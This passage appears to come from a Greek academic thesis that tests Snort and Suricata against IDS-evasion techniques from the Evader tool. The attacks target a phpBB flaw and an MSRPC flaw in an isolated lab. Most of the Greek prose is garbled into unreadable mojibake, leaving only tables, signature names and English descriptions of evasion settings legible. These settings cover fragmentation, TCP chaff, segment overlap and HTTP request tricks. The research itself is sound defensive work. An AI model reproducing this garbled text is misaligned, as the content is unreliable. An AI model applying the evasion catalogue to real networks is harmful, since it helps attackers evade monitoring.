TPOKEUEVOL VO, EeYEAATEL TIG GLVOEOEUEVEG GLOKEVEC AOPAAELNG TOV dkTvoL. ' Tov €leyyo g
wKavoOTNTOG Oviyvevong Twv Vo EETACT GLOTNHATOV ACPAAELNS, YPNCLLOTOOVVTOL dVO EMBECELC

OV EKUETOALEVOVTAL TIC TAPUKAT® EVPEMG YVAOGTEG AOVVOLUES:

o CVE-2004-1315. TTpdketton yio. pio evmabeio tng 1otooehidog viewtopic.php e epappoynic
phpBB 2.x, n omoia divel T duvatdtnTa o€ évav emrtifépuevo va ekteléoet avbaipeto KddKo
PHP péow g mapapétpov highlight. Xpnowomowwvtog v ernifeon mov expetoileveton
autv TV gumdfelo elvarl ekt M €EETOOT TV TEYVIKOV OTOQLYNG OViYVELONG MOV

aopovv 10 mpwtdkorlro HTTP.

e CVE-2008-4250. Eivor pioo evmdBeion tng vanpeciog Server da@opov  AELTOVPYIKOV
ovotnudtov g Microsoft (omwg ta Windows XP SP2), n omoia emitpénel og évov
EMTIOEPEVO VO EKTEAEGEL AVOOIPETO KMOKA HEG® €VOC EOKE SIOUOPPOUEVOD OLTHHOTOC
RPC 1o omoio dnpovpyet vepyeidion. Xpnoyomoldviog v nifecn mov eKPeETOAAEDETAL
autqv Vv eumdBelo eivar QKT 1M €EETOON TOV TEYVIKAOV OTOPLYNG OVIYVELONG MOV

apopovv 1o Tpwtoéxoilo MSRPC.

AvorOymg TV TPOTOKOAA®V Tov ypnoonolobvtal yio. kabe pio omd T1¢ embéoelg, to Evader
Swbéter pia PProdNKn amd teYVIKES amoPLYNG aviyvevong ot omoieg pmopovv vo alomoumBodv
pepovopéve 1 ovvdvaotikd. o mapdaderypa, yoo v svrdbeior CVE-2008-4250 tov Microsoft
Server Message Block, pmopodv va ypnowomomBodv teyvikég mov a@opodv Ta TP®TOKOAAO
MSRPC, SMB, NetBIOS ka1 ta mpotokorria TCP kot IP tov vrokeijevov emmédmv netapopds Kot

dwktoov. Avtiotoiywg, v v evmabsi CVE-2004-1315 mov agopd pic SadIKTLOOKT €QOPUOYT,
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UTOpOovV Vo, 0&LomotnBovv TeXVIKEG TOL apopohv T0 TPp®TOKOAAO0 HTTP 10v emmédov epapuoyng kat
o TpotokoAlo TCP ot IP tov vrmokeipevov emimédov HETOQOPAS Kol OIKTOOV. XVVOAIKE
vrootnpilel 35 doeopetikég katnyopiec teYvikdv. 15 omd avtég eivol TeEXVIKEC TOV EMMEd®V
LETOPOPAG Kol S1IKTVOV Kol HITopovV Vo, xpnotporotnfolv kot yuo Tig dvo dlabéoyeg embéoeic. Ano
TIG VIOAOUTEG TEYVIKEG, Ol 11 pmopovv va ypnotponomBodv yuo v enifeon mov agopd v gumddeia
CVE-2008-4250, evd ot vworoumeg 9 elvan teyviKég mov umopovv vo, aglomonfovv yio To oTipaTo

HTTP mov oyetiCovton pe v evndbeio CVE-2004-1315.

H «d60e katnyopio teyvikdv meptrapfavel pio opddo mopapétpmy mov tpocdtopilovy Tig axpiPeig
TPOTOTOINoEIS Tov B vTooTel N diktvakt kivior. Eniong, vrdapyet  duvoTdTTo TPOGSIOPIGUOD TG
(@aong g obvdeong katd v omoia Oa epappoctel  kdbe teyvikn. o mopdadetypa eivar epicth M
TOPOYOY OVOUAANG SIKTLOKNG Kivnong povo kotd t ¢dorn g yewpoyiag TCP. To mAnbog tav
SUVOTOV GLUVOVAGUAOV TEXVIKOV OAAG KOl TOPAUETPOV TNG KAOE TEXVIKNG Elval TAPO TOAD UEYAAO KOl

EMTPEMEL TNV EKTEAECT] EEAVTANTIKDOV OOKIUADV.

H emBepaioon g enttvyiog piag enibeong mov ektedeizon pe t xpnon tov Evader pmopel va. yivet
He Spopovg TPOTOVS, OTMG Yo TOPAOEYLO TNV EUPAVIOT VOGS TapaBOPOV YPALUNAG EVTOADYV, TN
Mym tov apyeiov etc/passwd 1 v KoTdppevon Tov vIoloyloth o1dyov. Exteddvtag pio enibson 1
omoilo. ypnowomotel pio M MEPGCOTEPEG AMO TIG TEYVIKEG OMOPUYNG OViYVELOTG, WUTOPEL va
emPeParwbdel n emruyio g eniBeong Ko tavtdypova va ereyyBel to eetalduevo IDS yia v

TOPAYOYY] EOOTOCEDV.

8.3.1 Iepapatikn owataln

H mepoapotikn odtaén mov ypnoiomomdnke yo v eKTéAeon TV SOKIUOV amekovileTor oy
Ewova 8-3. Ipokewévou vo eacpariotel Tt n diktvaky kivion mov Oo eéetaotel omd ta, IDSS
TEPIAAPAVEL HOVO T TOKETO SOKIUMV Kot Oyl emmpdcsOeta mokéta anpOPAETTOV dpAcTNPLOTHTOV,
ypnoonoonke éva amopovouévo mepipdiiov to omoio meptlapfdvel povo to mpog e€étaon IDS,
TOV VTOAOYIGTH TOV EMTIOEUEVOL KOl TO GLOTHHOTO oToYovc. [ ™ dmuovpyios avtod TOV
OTOLOVAOUEVOL TTEPIPAALOVTOC ¥PNOULOTONONKAY EIKOVIKEG UNYOVES Ol OTOIEG NTOV GLVOESEUEVEG
neta&d touvg pe vav “Host-Only” dpoporoynt tov VirtualBox, £t6t dGTE 01 EIKOVIKEG UNYOVES VL

UTOPOVY va, EpOBOVV GE ETAPT| LOVO LE TN SIKTLOKT Kivion Tov “1d1oTikod” Tovug diktHov.
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IDS

Ubuntu VM
.

~
B
X

Ubuntu VM Windows XP SP2 promiscious mode
phpBB (CVE-2004-1315) MSRPC (CVE-2008-4250)
Evader
Ubuntu VM

(& & -

192.168.56.21 192.168.56.22 192.168.56.2
“Host-Only” VirtualBox Router

Ewova 8-3: Mlewpopatiky 014Taén 00KIPNGS TEYVIKAV GTOPVYNGS OVIYVEVGNG

Ot dokipég Tov TTpoypaTomomonKoy exavaAneonKoy e tov 1010 akpimg tpomo kot yio Ta dvo IDSs.
Yy kéBe emovainym, ™ 0éon tov IDS ommv Ewodva 8-3 éhaPe xdbe @opd éva amd to dvo
e€etalopeva IDSs, £xovtag Bécet T diemapr dikthov Tov 6e promiscuous mode £totl doTe va givor o
0éon va cvilapPdver Ola to Sokvovpeva mokéta. O Adyog yw Tov omoio dev emAéyxOnke va
ekTeLeOTOVV 01 doK1pES e€etdlovtag Tavtoypova kot ta dvo IDSS ftav 1 EAAkeyn TV VTOAOYICTIKGV

TOPOV TOV ATOLTOVVTOAY Y10, TNV TOVTOYPOVI] EVEPYOTOINGT TV dVO EIKOVIKAV LUNYOVDV.

Extoc and 1o IDS, 10 mepiaihiov Sokipmv mepieAdpupoave TOV LTOAOYIGTH TOV EMTIOEUEVOL GTOV
onoio Mrav gykoteotnuévo to Evader, xabmg kot 600 VTOAOYIGTEC GTOYOVG HE TO TOPUKATD

YOPOKTNPLOTIKA:
o  EmmiBépsevog, pe Asttovpykd ovotnuo Ubuntu 12.04. ko eykateotnuévo to Evader.

o X10y0g 1, pe Asttovpyikd cvotnua Ubuntu 12.04.1 kou gykoteotnuévn Tn StadIKTLOKN
epappoyn phpBB oe web server Apache. O vroloyloTig aVTOG XPNCIUOTOHONKE YioL TV

e€€T00N TOV TEYVIKOV OTOPLYNG AVIXVELGNG TOV APOPOLY TO TPWTOKOAAO HTTP.

o X10y0g 2, pe Aswwovpywkd ovomua Windows XP  SP2. O vmoloyotig owtdc
ypnoomoinke yoo v €&€Toon TOV TEYVIKAOV AmOQUYNG OVIXVELOTG OV APOPOVY TO

npmntokoiro MSRPC.

Mo v mapakoriobdnon tov tapayduevov eworomaoemy ord to dvo IDSs, t6c0 to Snort 66o kat to
Suricata mapapetporomdnkav €161 dote ot M ££080¢ Tovg vo. amodnkevetar oe apyeio Unified Logs.
Ta apyeio avtd enelepydlovtav amd o Barnyard2 mov ftov eykoteotnuévo Kol ota 800 GLOTHUATA

TPOKEWEVOL Vo, amobnkedovral tedikd oe pio faon MySQL. T v mpoPoin ko avdAiven tmv
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€100TocEMV OV omobnKevovTay ot Pdon dedopévav, ypnoomomdnke n epappoyn BASE yia 1o

Snort ko 1 gpapuoyn Snorby yia o Suricata.

8.3.2 Awemaogn ypiotn Tov Evader

O1 dokiuéc tov Evader eivor duvatd vo, ekTelecTOVV €iTE OO TN YPOUUN EVIOA®V &€ite OO TN
SladtkTLOKT dlemapn ypnotn mov dlabétel. Xtnv Ewova 8-4 emonpaivovrol ta koplo, Pripote mov

ypeLaleTol va ekTeAEcTOVV Y10, plict SoKIun:
1. Emioyn g enibeong mov Oa exteleoTtel.
2. TIpocdloptopdc TV SIKTVAK®OV TOPAUETPOV CUVIEST|G LLE TOV VITOAOYIGTY| GTOYO.
3. Emloyn kot TopapeTpomoinon TV TEXVIKMOV OmoLYNG aviyvevong mov Ba yxpnoyLorombovy.

4. Extéheon g emibBeong (KaBdC Kot TEPUATIOUOS TG, KABUPIOUOG TOV OpYEIOL KOTOYPOPNG

KOl TOV ETAEYUEVOV TEYVIKDOV)

5. EmBempnon tov apyeiov kataypaens mpokepévov va domotmbel n ékPacn g enibeonc

Kot Gvorypa Tov Tapafipov YPUUHIG EVIOAMV GE TEPITTOON EMTLYOVS EKPaoG.

vader < |

= localhost: ~-& 8- Q @

Evader

Module

LI 7

L (v:]
@ + TCP Chaff
@ + TCP initial sequence number
B + TCP timestamp option setti

=

(default: /phpl

Ewoéva 8-4: Awewagpn ypfjotn tov Evader

8.3.3 Awdkacio d0KIpH®V

H éwdwacio mov akolovOnonke yio ) dokiun g KAOe TEYVIKAG 1| TOV GLVOVAGUOD TEXVIKOV

OTOPLYNC Oviyvevomng NToV 1 aKOAoLON:
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1. Emioyn g enibeong mov Oa exteleoTel.
2. TIpocdtoploptdc TV SIKTVOK®OV TAPAUETPOV CUVOEST|G LE TOV VITOAOYIGTY] GTOYO.

3. TMopaywyn vopuumg Siktvakne Kivnong Tpokepévon vo, eAeyy0el n duvatdtnTa 6OVOESNC LE

Tov vtoloyloth otdyo (Send clean payload)
4. ExdAwon tng enifeong ympic T ¥pnon TEXVIKAV AToPUYNG oviyvevong.
5. "EAeyyog tov apyeiov kataypaens TpokeEVOL va, dSlamiotmbel av 1 eniBeon NTav enttuyns.

6. Egpocov n emiBeon Mtav emitoyng, €Aeyxog TV ewdomooce®v mov mapnynooav omd 1o
eetalopevo IDS mpokeyévou va damiotodel av 1 emifeon aviyvedbnke kol cuvéyion tng

dokipociog.

7. Eg@ocov n emibeon Ntav emroyng kot to IDS Ntav og Béon va v aviyvedoel, kobopiopog

TOV apyelov KaTaypapng Kot GLUVEXIST TNG OOKILOGING.

8. Emoyn g teyviKnig 1 TOL GLVIVAGHOD TEXVIKMV OTOPVYNG AVIXVELONG KOl TPOGOIOPIGHOG

TOV TOPAUETPDV TOVG,.
9. Exdnimon g enifeonc a&lomoidvtag TIG TEYVIKES AmoPLYNG avixvevong mov emA&yonkay.
10. "EAeyyog Tov apyeiov Kataypapng TPOKEEVOD va domioTt®bel av 1 exibeomn NTav enttuyng.

11. Epbéoov 1 ermifeon Ntav emtuyne, EAEYXOC TOV €00TOMGEOY TTOL TopNyOncov amd To

g€etalouevo IDS mpokepévov va domotwbel av 1 exiBeomn aviyveddnke.
12. Kataypagn Tov amoTteAEGUOTOC TG O0KIUNG Kal kafapioudg Tov apyeiov Kataypapnc.

Onwc eaivetal amd TV Tapondve Stodikacio, Ty TEPIMTOON XPNONG TEYVIKOV 01 OTOIEG ElYOV MG
OMOTEAEGLLOL TV TTOPAYOYN OVOUOANG SIKTVOKNG Kivnong He TNV omoia 0V NTOV EQIKTH 1 EMITUYNG
ékPaon ¢ emiBeong, dev mpayUaTomoOnke 0EOAOYNOT TOV TOPAYOUEVOV EO0TOUCEMY OO TO
eetalopevo IDS. H emhoyn avtr €ytve £govtag KoTd vou 0Tt T0 amoTtéAecpa TG aviivong tav IDSs
dev Ba pmopovoe va aloroyndel wg mpog v 0pBITNTA TOV, KOOGS APEVHS LEV 1| T AVOYVOPLOT| TOV
ovykekppuévoy eniféocmv dev pmopet va Bewpnbel og false negative epdcov o1 embéoelg avtég dev
£YVav KATOVONTEG OVTE OO TO GLGTNHUATO GTOYOVS, OPETEPOV O EVIOTIGUOG QUTMV TOV OTEIADV OgV
B0 pmopovoe va OBewpnbel wg false positive 810t oV TpayUaTIKOTNTA TPOYUOTOTOMONKOY
amonelpes eloPforng. Mio dg0tepn TapdpeTpog TOV EAPON VITOYN Yo TN AYN QVTNG TNG UTOPUCTG,
glvar to yeyovog Ott T g€etalopeva CUGTAHOTO gV €XOLV T SLVOTOTNTO TPOGOIOPICUOV TG

éxPaong tov embécemv.
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8.3.4 AmoTelEONUTA OOKIPUMV

O mivakeg [Mivakag 8-85 wan Iivaxoag 8-86 meptlapfdavovv To T00006Td aviyvevong mov emredydnke
ava katnyopio SOKIW®OV TOL TPOyUaToTomOnKe. XTovg Tivakeg avTovg dev cuumePIAapPdvovTal ot
dok1ég oTIg omoieg dev NTav emttuyeis ot embBéaelc. o mOAAEG amd TIg TEYVIKEG 1] TOVG GLUVOVAGIOVG
TEYVIKOV TOL ¥pnoilpomomonkoy, mpoaypotomomonkoy neplocdtepeg omd pio OOKUEG HE YpMoM
SlpopeTikdv KABe @opd pubuicewv Yo TG TOUPAUETPOVS TOV  OEIOTOOVUEVOV  TEYVIKDV.
[Ipoxeévov va mepropiotel o aptBpdg Twv ypoppody tov mvakov Iivakag 8-85 ko IMivakag 8-86,
&xel ypnoorom el N TaPOKAT® GLUVTOLOYPAPIL YO TV KOTAYPOP] EKEIVOV TOV SOKLUMV TOL glyov

Ta 10100 AOTELEGUOTO KAVOVTOG YPTOT TOV IO10V TEYVIKOV AAAG [LE JLOPOPETIKES TOPUUETPOVG:
(nq, Ny, ....., Ny ), 670D Ny Ny, Ny EIVAL OLAPOPETIKES TYES TTOV OOONKOY VIO, L0 GOYKEKPLLLEV TTOPGUETPO

2T1¢ TEPMTMOELS OOKIUMY OOV VIAPYOVY TOAAUTAEC TAPAUETPOL Y10, TIG OTOoieg £xel ¥pnoiomon et
1N TOPUTAV®D GUVTOUOYPOPID, VTOVOEITAL OTL EKTEAEGTNKAY SOKIUEG TTOV XPTOLUOTOINGAV OAOVG TOVG

peta&d Tovg dSuvaTovg GLVOVAGHOVG.

Mo v a&oidynon tov Pabuov emituyiog aviyvevong tng Kabe dokyung, ypnopomombnkay og Bdon
avaeopdg ol eldonomoelg mov mapdyovtol omd to IDS dtav ekdnidvetor 1 b enifeon ywpic ™
YXPNON TEYVIKOV OTOPLYNG OViYVEVOTG. ZLYKPIVOVTOG TIG €100TOCELS OV TapdyOniay petd amd
kGOe dokiun pe ™ Pdon avaeopds, d00nke pic Pabuoroyia oe kabe IDS yo kdbe pio amd TIg
dokyég. To oynue LoploddTnomng oL Yprnoormomdnke eivat To akdAovbo:
o 0 poplo yo TIg TEPMTMGEIS KATA TIG 0mOoiec dgv TopayOnke Kopio amd T OVOUEVOUEVEG
gwomomoel; g Pdong avoeopds, KaBMG Kol Yo TIC TEPITTMOCEIS TOPAYWOYNG GAA®V

drapopetikdv true positives amd ta onoia dgv yivetal avTiAnmtd 1o £(60¢ TNG amEANC.

e 1 nuép1o Yy TG TEPMTAOCELS TAPAYMYNG VTOGVUVOLOL TV ELOOTOMGEMV TG PACTG avapopdc,
Ao TIG 0moieg YiveTal avTIANTTO TO 100G TNG UMEIANG.

o 2 uopla Yo TIC TEPITTMOCELS TUPUYDYNG TOV GUVOLOL TMV EI0OTOMGE®Y NS PAONC 0vapOopdC.
Bdoel tov popiov mov cuykevipmdbnkay yio, ke Katnyopio SOKIU®OV Kot TG GUYKPIGNG TOLE UE TN
UEYIOTN OLVOTT] HOPLOdOTNOT NG KOTNYopiog, VITOAOYIGTNKE TO TWOGOOTO aviyvevong g Kabe
Katnyoplog.

O ITivaxoag 8-83 mepthapavel Tig mTEPLYPUPES TOV EWOOTONGEDY TOV ATOTEAEGAV TN PACT VOPOPAC

vl To Snort.
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IMivaxog 8-83: Ewdomomoeig fdong avapopds Tov Snort

Evnafsia eprypa@r] ewdomoinong

SERVER-WEBAPP phpBB viewtopic double URL encoding attempt
OS-WINDOWS Generic HyperLink buffer overflow attempt
CVE-2004-1315  pttp inspect: LONG HEADER

http_inspect: NO CONTENT-LENGTH OR TRANSFER-ENCODING IN
HTTP RESPONSE

ET SHELLCODE Rothenburg Shellcode

INDICATOR-SHELLCODE x86 OS agnostic fnstenv geteip dword xor
decoder

CVE-2008-4250  0S-WINDOWS DCERPC NCACN-IP-TCP srvsvc NetrpPathCanonicalize
path canonicalization stack overflow attempt

OS-WINDOWS DCERPC NCACN-IP-TCP srvsvc NetrPathCanonicalize

overflow attempt

Avtiotoiywg, o Ilivakag 8-84 mepthouPdvel Tig TePypapEés TV EIOOTOMNGEDMY TTOV OTOTEAEGOV TN
Bdon avapopdc v to Suricata. Adyw tov 6t1 to Suricata dev ftav oe 0éon vo avigvedoel TNV
eniBeon évavtt ¢ evmdBeiag CVE-2008-4250, dev mpaypotomomOnKay yio ovtd ol OvVTIoTO(EG

SOKIUEG ATOPLYNG aviXVELONG.

MMivakag 8-84: Exdomoujoelg faong avagopag tov Suricata

Evnd0sia Ieprypa@i] ewdomoinong

SERVER-WEBAPP phpBB viewtopic double URL encoding attempt
CVE-2004-1315
OS-WINDOWS Generic HyperLink buffer overflow attempt

Ymv Ewovoa 8-5 divetor plo oynuotikny amelkdévion TOV OTOTEAEGUATOV TOV OOKIUMY OV
TpaypotomomOnKay. Amd o SoypaUUATO GUTE KO TNV OVOADTIKY KOTAYPOQEY| TOV OTOTEAEGUATOV
TOV SOKIL®V oL mepAapPdavetal otovg mivakeg Iivakag 8-85 ko ITivaxog 8-86, dwumiotdveron pio
c0Q®OG peyaAvTepn avBekTiKOTNTO TOV SNOrt o€ oyéon pe to Suricata, £VovTl ToV TEYVIKMDY OToPLYNG

aviyvevoong. AmO TG TEYVIKEG TOL EQOPUOCTNKAV £€vo Tocootd TG théemg tov  90%
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(copmeptAapuPavoUEveOY Kol TV TEPITTOCEMY UEPIKNG OViXVELONS) aviXveDTNKOY and to Snort, evd

v T1G 016G TEYVIKEG TO Suricata katdpHmoe va oviyvedoeL To 56% tov embécemy.

Snort (phpBB) Suricata (phpBB)

Amoruyle MepLkr
Aviyveuong Aviyveuorn
10% 1%

Mepikr)
Aviyvevon
8%

Snort (MSRPC)

Anotuyio
Aviyvevonc
7%

Ewéva 8-5: Zynpatik] ongikovion omoTEAEGRATOV SOKIPLAY TEYVIKADY 0TOPVYNG OVIYVEVLOG

IMivaxog 8-85: Amoteréopata dokipav évavtt g gvmaberog CVE-2004-1315 (phpBB)

Ilocootd
Tlocooto
Aviyvevong/
AJA  Xpnoipomorovpevn TEXVIKIY Aviyvevong / M6
opuwa
Mépra Snort -p
Suricata
IP fragmentation - @pvppatiopog IP 100% 100%
1 IPv4 fragments with at most (8, 16, 32, 64, 128, 256, 512, 1024, 1480) bytes per fragment 2 2
IP options - Amoctori duthéTv®V Takitwv IP pe tpomomompéve payload ko évav avéovra 100% 100%
apBpo oo medio options
2 (20, 40, 60, 80, 100)% probability to send a duplicate IPv4 packet with an incrementing 2 2
DWORD in the options field. The duplicate packet has (random, a shuffled) payload
3 (20, 40)% probability to send a duplicate IPv4 packet with an incrementing DWORD in the 2 2
options field. The duplicate packet has (random, a shuffled TCP) payload
TCP Chaff — Amostol) amonposavatorietik®dv (chaff) tunparewv TCP 100% 100%
4 (20, 40, 60, 80, 100)% probability to send TCP chaff when sending a TCP packet. The chaff 2 2
packet has:
- (Invalid TCP checksum, NULL TCP checksum, NULL TCP control flags, An out-of-
window sequence number, TCP header shorter than 20 bytes, TCP header longer than packet
total size)
- Payload (set to 0x00 byte, set to random bytes, set to random alphanumeric bytes, shuffled
from the original packet, shuffled starting from the original packets 30th payload byte.)
TCP Initial Sequence Number (ISN) — Opwopog Tov 1SN wg OXFffffff-n, poxewpévov va eheyyOsi 100% 100%
1 dvvototnTa amotunpatomoinong TCP 6tav To SN pundevileror katd ™ Srapkera evog PUSH,
LOY® TG emiTeVENG TG péyLeTne TIig Tov (2%)
2edida 185
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5 Initial TCP sequence number is set to Oxffffffff - 6 2 2
Disable TCP congestion avoidance - Amevepyomoinen Tov pnyavicpot aro@Lyig cCopeopNeNg 100% 100%
o610 TCP mpodTéKoiro Tov Linux

6 TCP congestion window is not used 2 2
Disable TCP fast retransmit - Azgvepyomoinen Tov pnyevicpoy AT0PUYNS GVRPOP OGNS 6TO 100% 100%
TCP npotékoriro Tov Linux

7 TCP fast retransmit is not used 2 2
TCP segment order — Amoctol) Tunudtov porg TCP ektéc e1plg 100% 100%

8 The following evasions are applied from stage http_connect to end: 2 2

- TCP segments produced by a single socket send() are sent in a reverse order
9 The following evasions are applied from stage http_connect to end: 2 2
- TCP segments produced by a single socket send() are sent in a random order
10 The following evasions are applied from stage http_connect to end: 2 2
- TCP segments produced by a single socket send() are sent in correct order except that the
first segment comes last
11 The following evasions are applied from stage http_connect to end: 2 2
- TCP segments produced by a single socket send() are sent in correct order except that the
last segment comes first
TCP segment overlap — Emkdioyn tov tehevtaiov X bytes tov apdtov tpfqpatog and to 100% 100%
dgvtepo (n pony TCP amoteheitar amd 2 Tunpota)
12 The following evasions are applied from stage http_connect to end: 2 2
- TCP segments are set to overlap by (1, 400) bytes, with the earlier packet containing the
correct payload. Overlapping data is set to (zero bytes, random bytes, random
alphanumeric).
TCP PAWS elimination — Ewaymyn &vog duthotumov makiétov mpwv omd kds éva améd T 100% 100%
ToKETA TG Kavovikig pofg TCP, pe timestamp pikpotepo amé 10 Kavovikd
13 100% probability to send a duplicate TCP packet with an old timestamp destined for PAWS 2 2
elimination. The duplicate packet has a timestamp <normal - 10> and (zero, random, random
alphanumeric, shuffled) payload.
TCP receive window — IIpocdiopiopos Tov wapadipov Myng Tov TCP socket, étor dote va 100% 100%
g€avaykaletar To GAAo GKpo TG 6UVIESNS VO amocsTELLEL IiKpd Tppate TCP
14 The following evasions are applied from stage http_connect to end: 2 2
- TCP receive window is set to at most (100, 128, 256, 512, 1024, 2048) bytes.
TCP segmentation — Tunpatomoinen pong TCP kot KOTOKEPROTIGROS TOV AEKTIKOV 7OV 100% 100%
avalntovy oL vToypupis

15 The following evasions are applied from stage http_connect to end: 2 2

- TCP packets are segmented to contain at most (1, 2, 4, 8, 16, 32) bytes of payload.
TCP TIME-WAIT decoys — Anmovpyic 0omompocavoToOLGTIKOV GUVOEGEMY Ol OT0iEs 100%
TPONYOVVTUL TG TPOUYROUTIKNG ETIOEONG KOl XpnoGIpomorovy Ty ide Ovpa poéievong TCP pe
avTiy
16 The following evasions are applied from stage http_connect to end: 2
- (1, 512) decoy TCP connections are opened from the same TCP port as the exploit
connection will use. Each connection will send 32-544 zero bytes
TCP timestamp echo reply modifications 100% 100%
17 The following evasions are applied from stage http_connect to end: 2 2
- TCP timestamps echo reply value is sent in the wrong endianness
TCP urgent data — Evepyomoinon tov urgent flag ywa to debvtepo Tpfqpa tng porig TCP (n pon 100% 100%
TCP armoteheitor amd 2 TppoTa)
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18 The following evasions are applied from stage http_connect to end: 2
- 40% probability to add a (zero, random, random alphanumeric) urgent data byte to a TCP
segment
HTTP header linear whitespace — Metratponn Tov Whitespace tng emkeporidag HTTP 6 LWS, 100%
6mov LWS = [CRLF] 1*( SP | HT ), SP = whitespace, HT — horizontal tab
19 The following evasions are applied from stage http_connect to end: 2
- Whitespaces in HTTP headers are replaced with LWS (linear whitespace) with probability
100%
HTTP request line separator — Xp1fion 810Q0peTiK®V YOPUKTNPOV O SOYOPIGTAOV YPORRAOY 100%
10V avtipotog HTTP
20 The following evasions are applied from stage http_connect to end: 2
- HTTP requests are sent using horizontal tab as request line separator
21 The following evasions are applied from stage http_connect to end: 2
- HTTP requests are sent using vertical tab as request line separator
22 The following evasions are applied from stage http_connect to end: 2
- HTTP requests are sent using form feed as request line separator
23 The following evasions are applied from stage http_connect to end: 2
- HTTP requests are sent using carriage return as request line separator
HTTP request method — Xpnon dregopetikdv nedodmv artiparog HTTP 88,89%
24 The following evasions are applied from stage http_connect to end: 2
- HTTP requests are sent with GET as HTTP method
25 The following evasions are applied from stage http_connect to end: 2
- HTTP requests are sent with POST as HTTP method
26 The following evasions are applied from stage http_connect to end: 2
- HTTP requests are sent with HELLO as HTTP method
27 The following evasions are applied from stage http_connect to end: 2
- HTTP requests are sent with OPTIONS as HTTP method
28 The following evasions are applied from stage http_connect to end: 2
- HTTP requests are sent with PROPFIND as HTTP method
29 The following evasions are applied from stage http_connect to end: 2
- HTTP requests are sent with CONNECT as HTTP method
30 The following evasions are applied from stage http_connect to end: 2
- HTTP requests are sent with BitTorrent header as HTTP method
31 The following evasions are applied from stage http_connect to end: 2
- HTTP requests are sent with USER as HTTP method
32 The following evasions are applied from stage http_connect to end: 2
- HTTP requests are sent with HELO as HTTP method
33 The following evasions are applied from stage http_connect to end: 2
- HTTP requests are sent with EHLO as HTTP method
34 The following evasions are applied from stage http_connect to end: 2
- HTTP requests are sent with RFB as HTTP method
35 The following evasions are applied from stage http_connect to end: 2
- HTTP requests are sent with an MSRPC header as HTTP method
36 The following evasions are applied from stage http_connect to end: 2

- HTTP requests are sent with an SSH header as HTTP method

100%

25%

11,11%

2
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37 The following evasions are applied from stage http_connect to end:
- HTTP requests are sent with an empty string as HT TP method
38 The following evasions are applied from stage http_connect to end:
- HTTP requests are sent with a random string as HTTP method
39 The following evasions are applied from stage http_connect to end:
- HTTP requests are sent with a random binary string as HT TP method
40 The following evasions are applied from stage http_connect to end:
- HTTP requests are sent with a TLS handshake as HTTP method
41 The following evasions are applied from stage http_connect to end:

- HTTP requests are sent with an SMB header as HTTP method

HTTP request pipelined 100% 75%
42 The following evasions are applied from stage http_connect to end: 2 1
- HTTP requests are preceded with (1, 32) pipelined GET /index.html
43 The following evasions are applied from stage http_connect to end: 2 2
- HTTP requests are preceded with (1, 32) pipelined GET /<random>
HTTP URL absolute — AxLayn tov relative URLS og absolute URLs 100% 50%
44 The following evasions are applied from stage http_connect to end: 2 1
- HTTP request URLs are converted to absolute URLs. ((http, ftp, https,
<random_string>)://<server_ip>, (http, ftp, https, <random_string>)://<random_string>,
(http, ftp, https, <random_string>)://<long random_string>) is prepended to the URL.
HTTP dummy paths - IlpocOnikn ikovik®v dredpopdv oto URL 100% 100%
45 The following evasions are applied from stage http_connect to end: 2 2
- Dummy paths are inserted into the HTTP request URI
Dummy path length = (10, 100, 1000, 2000)
HTTP URL encoding - Kmdwkomoinen yopoxtipov rov URL 100% 100%
46 The following evasions are applied from stage http_connect to end: 2 2
- HTTP requests are sent with random case in the query part applied to the URL
47 The following evasions are applied from stage http_connect to end: 2 2
- HTTP requests are sent with % escapes applied to the URL
48 The following evasions are applied from stage http_connect to end: 2 2
- HTTP requests are sent with simple path transformations (/ -> /./, //) applied to the URL
49 The following evasions are applied from stage http_connect to end: 2 2
- HTTP requests are sent with premature URL endings path transformations applied to the
URL
HTTP request version — Tpomonoinon tov opdpot £kdoens Tov crTipatog 100% 100%
50 The following evasions are applied from stage http_connect to end: 2 2
- HTTP messages are sent with version number (0.8, 0.9, 1.0, 1.1, 1.2)
51 The following evasions are applied from stage http_connect to end: 2 2
- HTTP messages are sent with version number HTTP/0.9 (Use version HTTP/0.9, set
headers as HTTP/1.1)
52 The following evasions are applied from stage http_connect to end: 2 2
- HTTP messages are sent with a broken version number string
53 The following evasions are applied from stage http_connect to end: 2 2
- HTTP messages are sent with a broken URI separator
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54

The following evasions are applied from stage http_connect to end:

- HTTP messages are sent with version string HTT/1.1

IP fragmenation + IP Options

55

56

57

- IPv4 fragments with at most (8, 16, 24, 32) bytes per fragment

- 100% probability to send a duplicate 1Pv4 packet with an incrementing DWORD in the
options field.

The duplicate packet has random payload
- IPv4 fragments with at most (8, 16, 24, 32, 64, 72, 80, 88) bytes per fragment

- 50% probability to send a duplicate IPv4 packet with an incrementing DWORD in the
options field.

The duplicate packet has random payload
- IPv4 fragments with at most 96 bytes per fragment

- 50% probability to send a duplicate IPv4 packet with an incrementing DWORD in the
options field.

The duplicate packet has random payload

TCP segmentation + TCP Chaff

58

59

60

- (50%, 100%) probability to send TCP chaff when sending a TCP packet. The chaff packet
has:

* NULL TCP checksum.

* Payload set to random alphanumeric bytes.

The following evasions are applied from stage http_connect to end:

- TCP packets are segmented to contain at most (1, 2, 4, 8) byte of payload.

- (50%, 100%) probability to send TCP chaff when sending a TCP packet. The chaff packet
has:

* An out-of-window sequence number.

* Payload set to random alphanumeric bytes.

The following evasions are applied from stage http_connect to end:
- TCP packets are segmented to contain at most 1 bytes of payload.

- (50%, 100%) probability to send TCP chaff when sending a TCP packet. The chaff packet
has:

* Invalid TCP checksum.
* Payload set to random alphanumeric bytes.
The following evasions are applied from stage http_connect to end:

- TCP packets are segmented to contain at most 1 bytes of payload.

TCP segmentation + TCP segment overlap

61

62

63

The following evasions are applied from stage http_connect to end:

- TCP segments are set to overlap by 2 bytes, with the earlier packet containing the correct
payload. Overlapping data is set to (zero bytes, random, random alphanumeric).

- TCP packets are segmented to contain at most 64 bytes of payload.
The following evasions are applied from stage http_connect to end:

- TCP segments are set to overlap by 2 bytes, with the earlier packet containing the correct
payload. Overlapping data is set to (zero bytes, random, random alphanumeric).

- TCP packets are segmented to contain at most 128 bytes of payload.
The following evasions are applied from stage http_connect to end:

- TCP segments are set to overlap by 4 bytes, with the earlier packet containing the correct
payload. Overlapping data is set to zero bytes.

- TCP packets are segmented to contain at most 8 bytes of payload.

66,67%

2

100% 33,33%

2 2

33,33% 100%

2
. |
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TCP segmentation + TCP segment order

64

The following evasions are applied from stage http_connect to end:
- TCP segments produced by a single socket send() are sent in a (random, reverse) order

- TCP packets are segmented to contain at most 1 bytes of payload.

TCP segmentation + TCP segment order + TCP Chaff

65

66

- (50%, 100%) probability to send TCP chaff when sending a TCP packet. The chaff packet
has:
